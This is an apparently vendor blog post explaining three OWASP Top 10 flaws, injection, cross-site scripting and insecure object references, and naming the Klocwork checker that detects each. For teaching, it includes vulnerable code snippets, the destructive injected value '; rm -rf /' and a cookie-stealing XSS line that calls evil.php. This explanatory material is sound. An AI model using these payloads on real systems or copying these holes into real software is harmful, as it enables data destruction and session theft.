A1 – Injection
Injection flaws allow an attacker to insert undesired commands into your application through input that’s not validated. The most common type of this exploit is SQL injection, or executing an SQL command against a database using input that wasn’t validated (such as
"SELECT * FROM user_data WHERE userid= '" + account + "'" where
account isn’t previously checked). Another type is command injection, which looks like this:
int main(char* argc, char** argv)
char cmd[MAXPATH] = "/usr/bin/cat ";
Since the user-supplied input,
argv, isn’t checked before executing a system command, it’s possible that undesired commands could be executed. Imagine if
"; rm -rf /" was passed in – the entire root directory would be deleted!
Klocwork has a family of checkers that detects the use of this type of tainted data in code. For the above example, SV.TAINTED.INJECTION would find the flaw. To learn more details about the different types of injection flaws and how to fix them, read this white paper (PDF download) or take this interactive tutorial on injection attacks.
A3 – Cross-Site Scripting (XSS)
The most common type of security flaw in web applications today is cross-site scripting. XSS occurs when unvalidated user data is included in a page sent to a client’s browser, allowing an attacker to execute scripts. There are two main types of XSS attack, “stored” which refers to an attack persisted on a server for later distribution and “reflected”, which refers to an attack initiated through data provided by a web client. Here’s an example from OWASP:
var adr = '../evil.php?cakemonster=' + escape(document.cookie);<br />
This code allows an attacker to steal a cookie from an authenticated user by passing the escaped content to the evil.php script via the
cakemonster variable. If evil.php is sending this content elsewhere, such as storing to a file, the attacker can use it.
Klocwork would find this type of error using the SV.XSS.REF checker. To read more about XSS and learn some mitigation strategies, read this white paper (PDF download).
A4 – Insecure Direct Object References
This type of vulnerability occurs when your application uses the actual name or key of an object without checking that it’s being used by an authorized user. This could result in an attacker compromising data used by the object. This example from our checker documentation shows how it’s done:
public void processUserProfile(ServletRequest req) throws IOException
String userName = req.getParameter("userName");
String profile = profileDir + File.separator + userName;
BufferedReader reader = new BufferedReader(new FileReader(profile));
Klocwork’s SV.PATH checker flags a vulnerability where
profile is used to access a file on the local filesystem. Since
profile includes the unvalidated
userName data, this is a potential attack vector that could compromise the system.
These are just three of the OWASP Top 10 vulnerabilities that Klocwork would find in your code. Although these are simple examples, consider how difficult it would be to find them manually if this code was spread across multiple functions or built by multiple developers.
Read the next part here where we cover more OWASP items and how Klocwork handles them.